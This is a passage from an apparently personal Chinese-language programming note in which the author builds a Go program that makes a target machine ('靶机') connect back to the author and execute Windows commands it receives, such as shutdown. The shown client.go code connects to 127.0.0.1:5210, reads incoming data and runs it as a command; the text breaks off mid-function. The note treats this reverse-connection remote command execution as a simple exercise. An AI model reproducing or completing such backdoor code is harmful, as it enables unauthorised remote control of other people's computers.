原理很简单,简单来说就是能远程执行windows命令,靶机主动连接我们的机器,只完成了一部分,能远程执行一段简单的命令(例如关机shutdown -p),理论上讲应该完成1、远程执行命令 2、命令执行结果发回来3、互相传输文件,感觉后面的没必要继续深究了,能完成第一个功能,后续的就是照猫画虎,边查边写就完了,没啥难度,不想写了,继续看golang的其他内容了,以后再有闲工夫再补上
靶机要执行的程序
client.go
package main
import (
"bytes"
"net"
"os/exec"
"strings"
"time"
)
const client = "127.0.0.1:5210"
// 读取数据
func main() {
/*
Listen: 返回在一个本地网络地址laddr上监听的Listener。网络类型参数net必须是面向流的网络: "tcp"、"tcp4"、"tcp6"、"unix"或"unixpacket"。
*/
//靶机尝试主动连接远程机器
connection := getConnection()
//把发送过来的数据读到定义的二进制数组中
buffer := readData2Buffer(connection)
//把发送过来的数据转成string数组
command := transferBuffer2Command(buffer)
//以windows命令的形式执行数组
execCommand(command)
}
func getInitBuffer() []byte {
return make([]byte, 1024)
}
func getConnectio